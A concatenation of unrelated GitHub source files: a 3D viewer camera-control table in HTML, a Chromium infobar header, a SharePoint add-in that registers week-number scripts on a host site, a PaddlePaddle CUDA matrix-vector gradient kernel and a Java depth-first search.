<td width="9%" valign="top" style='width:9.26%;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt;height:30.25pt'>
<p align="center" style='margin-left:3.45pt;text-align:center'>No</p>
</td>
<td width="80%" valign="top" style='width:80.0%;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt;height:30.25pt'>
<p style='margin-left:3.45pt'>Pans the camera around the object. Both the camera
and camera target move left, right, up and down relative to the model.</p>
</td>
</tr>
<tr style='mso-yfti-irow:3;height:30.25pt'>
<td width="10%" valign="top" style='width:10.74%;border:solid windowtext 1.0pt;
border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
padding:0cm 5.4pt 0cm 5.4pt;height:30.25pt'>
<p align="center" style='margin-left:3.45pt;text-align:center'>Right</p>
</td>
<td width="9%" valign="top" style='width:9.26%;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt;height:30.25pt'>
<p align="center" style='margin-left:3.45pt;text-align:center'>No</p>
</td>
<td width="80%" valign="top" style='width:80.0%;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt;height:30.25pt'>
<p style='margin-left:3.45pt'>Moving left and right alter the field of view from
the default value of 60. Moving up and down alter the distance between the
camera and the camera target.</p>
</td>
</tr>
<tr style='mso-yfti-irow:4;height:30.25pt'>
<td width="10%" valign="top" style='width:10.74%;border:solid windowtext 1.0pt;
border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
padding:0cm 5.4pt 0cm 5.4pt;height:30.25pt'>
<p align="center" style='margin-left:3.45pt;text-align:center'>Left</p>
</td>
<td width="9%" valign="top" style='width:9.26%;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt;height:30.25pt'>
<p align="center" style='margin-left:3.45pt;text-align:center'>Yes</p>
</td>
<td width="80%" valign="top" style='width:80.0%;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt;height:30.25pt'>
<p style='margin-left:3.45pt'>Pans the camera and model in the world. The camera,
camera target and model move left, right, up and down in the
<span class="SpellE">worild</span>.</p>
</td>
</tr>
<tr style='mso-yfti-irow:5;height:36.0pt'>
<td width="10%" valign="top" style='width:10.74%;border:solid windowtext 1.0pt;
border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
padding:0cm 5.4pt 0cm 5.4pt;height:36.0pt'>
<p align="center" style='margin-left:3.45pt;text-align:center'>Middle</p>
</td>
<td width="9%" valign="top" style='width:9.26%;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt;height:36.0pt'>
<p align="center" style='margin-left:3.45pt;text-align:center'>Yes</p>
</td>
<td width="80%" valign="top" style='width:80.0%;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt;height:36.0pt'>
<p style='margin-left:3.45pt'>Modifies the pitch and yaw of the model. This rotates
the model while leaving everything else in place.</p>
</td>
</tr>
<tr style='mso-yfti-irow:6;mso-yfti-lastrow:yes;height:36.0pt'>
<td width="10%" valign="top" style='width:10.74%;border:solid windowtext 1.0pt;
border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
padding:0cm 5.4pt 0cm 5.4pt;height:36.0pt'>
<p align="center" style='margin-left:3.45pt;text-align:center'>Right</p>
</td>
<td width="9%" valign="top" style='width:9.26%;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt;height:36.0pt'>
<p align="center" style='margin-left:3.45pt;text-align:center'>Yes</p>
</td>
<td width="80%" valign="top" style='width:80.0%;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt;height:36.0pt'>
<p><span style='mso-spacerun:yes'></span>Pans the camera target in the world.</p>
</td>
</tr>
</table>
<p><o:p> </o:p></p>
</div>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
// Copyright 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CHROME_BROWSER_UI_COCOA_INFOBARS_INFOBAR_CONTAINER_COCOA_H_
#define CHROME_BROWSER_UI_COCOA_INFOBARS_INFOBAR_CONTAINER_COCOA_H_
#include <stddef.h>
#include "base/macros.h"
#include "chrome/browser/ui/infobar_container_delegate.h"
@class InfoBarContainerController;
// The cocoa specific implementation of InfoBarContainer. This mostly serves as
// a bridge for InfoBarContainerController.
class InfoBarContainerCocoa : public infobars::InfoBarContainer,
public InfoBarContainerDelegate {
public:
explicit InfoBarContainerCocoa(InfoBarContainerController* controller);
~InfoBarContainerCocoa() override;
private:
// InfoBarContainer:
void PlatformSpecificAddInfoBar(infobars::InfoBar* infobar,
size_t position) override;
void PlatformSpecificRemoveInfoBar(infobars::InfoBar* infobar) override;
// InfoBarContainerDelegate:
SkColor GetInfoBarSeparatorColor() const override;
void InfoBarContainerStateChanged(bool is_animating) override;
bool DrawInfoBarArrows(int* x) const override;
InfoBarContainerController* controller_; // weak, owns us.
DISALLOW_COPY_AND_ASSIGN(InfoBarContainerCocoa);
};
#endif // CHROME_BROWSER_UI_COCOA_INFOBARS_INFOBAR_CONTAINER_COCOA_H_
|
{
"pile_set_name": "Github"
}
|
using Microsoft.SharePoint.Client;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
namespace Core.EmbedJavaScript.WeekNumbersWeb
{
public partial class Default : System.Web.UI.Page
{
protected void Page_PreInit(object sender, EventArgs e)
{
Uri redirectUrl;
switch (SharePointContextProvider.CheckRedirectionStatus(Context, out redirectUrl))
{
case RedirectionStatus.Ok:
return;
case RedirectionStatus.ShouldRedirect:
Response.Redirect(redirectUrl.AbsoluteUri, endResponse: true);
break;
case RedirectionStatus.CanNotRedirect:
Response.Write("An error occurred while processing your request.");
Response.End();
break;
}
}
protected void Page_Load(object sender, EventArgs e)
{
RegisterChromeControlScript();
}
private void RegisterChromeControlScript()
{
string script = @"
function chromeLoaded() {
$('body').show();
}
//function callback to render chrome after SP.UI.Controls.js loads
function renderSPChrome() {
//Set the chrome options for launching Help, Account, and Contact pages
var options = {
'appTitle': document.title,
'onCssLoaded': 'chromeLoaded()'
};
//Load the Chrome Control in the divSPChrome element of the page
var chromeNavigation = new SP.UI.Controls.Navigation('divSPChrome', options);
chromeNavigation.setVisible(true);
}";
Page.ClientScript.RegisterClientScriptBlock(typeof(Default), "BasePageScript", script, true);
}
protected void AddScripts_Click(object sender, EventArgs e)
{
var spContext = SharePointContextProvider.Current.GetSharePointContext(Context);
using (var clientContext = spContext.CreateUserClientContextForSPHost())
{
AddScriptsToHostWeb(clientContext);
AddScriptLinksToHostWeb(clientContext);
}
}
protected void RemoveScripts_Click(object sender, EventArgs e)
{
var spContext = SharePointContextProvider.Current.GetSharePointContext(Context);
using (var clientContext = spContext.CreateUserClientContextForSPHost())
{
var existingActions = clientContext.Web.UserCustomActions;
clientContext.Load(existingActions);
clientContext.ExecuteQuery();
RemoveScriptLinksFromHostWeb(clientContext, existingActions);
}
}
private void AddScriptsToHostWeb(ClientContext clientContext)
{
var web = clientContext.Web;
var library = web.Lists.GetByTitle("Site Assets");
clientContext.Load(library, l => l.RootFolder);
UploadScript(clientContext, library, "jquery-1.9.1.min.js");
UploadScript(clientContext, library, "weeknumbers.js");
}
private static void UploadScript(ClientContext clientContext, List library, string fileName)
{
var filePath = System.Web.Hosting.HostingEnvironment.MapPath(string.Format("~/Scripts/{0}", fileName));
var newFile = new FileCreationInformation();
newFile.Content = System.IO.File.ReadAllBytes(filePath);
newFile.Url = fileName;
newFile.Overwrite = true;
var uploadFile = library.RootFolder.Files.Add(newFile);
clientContext.Load(uploadFile);
clientContext.ExecuteQuery();
}
private static void AddScriptLinksToHostWeb(ClientContext clientContext)
{
var existingActions = clientContext.Web.UserCustomActions;
clientContext.Load(existingActions);
clientContext.ExecuteQuery();
RemoveScriptLinksFromHostWeb(clientContext, existingActions);
var customActionJQuery = existingActions.Add();
customActionJQuery.Description = "weeknumberJQuery";
customActionJQuery.Location = "ScriptLink";
customActionJQuery.ScriptSrc = "~site/SiteAssets/jquery-1.9.1.min.js";
customActionJQuery.Sequence = 1000;
customActionJQuery.Update();
var customActionWeekNumber = existingActions.Add();
customActionWeekNumber.Description = "weeknumberScript";
customActionWeekNumber.Location = "ScriptLink";
customActionWeekNumber.ScriptSrc = "~site/SiteAssets/weeknumbers.js";
customActionWeekNumber.Sequence = 1010;
customActionWeekNumber.Update();
clientContext.ExecuteQuery();
}
private static void RemoveScriptLinksFromHostWeb(ClientContext clientContext, UserCustomActionCollection existingActions)
{
var actions = existingActions.ToArray();
foreach (var action in actions)
{
if (action.Location.Equals("ScriptLink") &&
(action.Description.Equals("weeknumberJQuery") || action.Description.Equals("weeknumberScript")))
{
action.DeleteObject();
}
}
clientContext.ExecuteQuery();
}
}
}
|
{
"pile_set_name": "Github"
}
|
/* Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License. */
#include "paddle/fluid/operators/mv_op.h"
#include "paddle/fluid/platform/gpu_launch_param_config.h"
namespace paddle {
namespace operators {
template <typename T>
__global__ void MVGradDxCUDAKernel(const int m, const int n, const T *dout,
const T *vec, T *dx) {
int idx = blockDim.x * blockIdx.x + threadIdx.x;
for (; idx < m * n; idx += blockDim.x * gridDim.x) {
int i = idx / n;
int j = idx % n;
dx[idx] = dout[i] * vec[j];
}
}
// Using dimensional constraints on matrix multiplication, it is
// straight-forward to check the following table for when X and Y
// are both matrices.
//
// dX = | dOut Vec^T
// dVec = | X^T dOut
template <typename T>
class MVGradKernel<platform::CUDADeviceContext, T>
: public framework::OpKernel<T> {
public:
void Compute(const framework::ExecutionContext &context) const override {
auto *x = context.Input<framework::Tensor>("X");
auto *vec = context.Input<framework::Tensor>("Vec");
auto *dout =
context.Input<framework::Tensor>(framework::GradVarName("Out"));
auto *dx = context.Output<framework::Tensor>(framework::GradVarName("X"));
auto *dvec =
context.Output<framework::Tensor>(framework::GradVarName("Vec"));
auto dim_x = x->dims();
int m = dim_x[0];
int n = dim_x[1];
// get data ptr
const T *x_data = x->data<T>();
const T *vec_data = vec->data<T>();
const T *dout_data = dout->data<T>();
auto &dev_ctx =
context.template device_context<platform::CUDADeviceContext>();
auto blas = math::GetBlas<platform::CUDADeviceContext, T>(dev_ctx);
auto stream = context.cuda_device_context().stream();
auto config = GetGpuLaunchConfig1D(dev_ctx, m * n);
if (dx) {
T *dx_data = dx->mutable_data<T>(context.GetPlace());
MVGradDxCUDAKernel<
T><<<config.block_per_grid.x, config.thread_per_block.x, 0, stream>>>(
m, n, dout_data, vec_data, dx_data);
}
if (dvec) {
T *dvec_data = dvec->mutable_data<T>(context.GetPlace());
blas.GEMV(true, dim_x[0], dim_x[1], static_cast<T>(1), x_data, dout_data,
static_cast<T>(0), dvec_data);
}
}
};
} // namespace operators
} // namespace paddle
namespace ops = paddle::operators;
namespace plat = paddle::platform;
REGISTER_OP_CUDA_KERNEL(
mv, ops::MVKernel<paddle::platform::CUDADeviceContext, float>,
ops::MVKernel<paddle::platform::CUDADeviceContext, double>);
REGISTER_OP_CUDA_KERNEL(
mv_grad, ops::MVGradKernel<paddle::platform::CUDADeviceContext, float>,
ops::MVGradKernel<paddle::platform::CUDADeviceContext, double>);
|
{
"pile_set_name": "Github"
}
|
/* *** ODSATag: DFS *** */
static void DFS(Graph G, int v) {
PreVisit(G, v);
G.setValue(v, VISITED);
int[] nList = G.neighbors(v);
for (int i=0; i< nList.length; i++)
if (G.getValue(nList[i]) != VISITED)
DFS(G, nList[i]);
PostVisit(G, v);
}
/* *** ODSAendTag: DFS *** */
|
{
"pile_set_name": "Github"
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.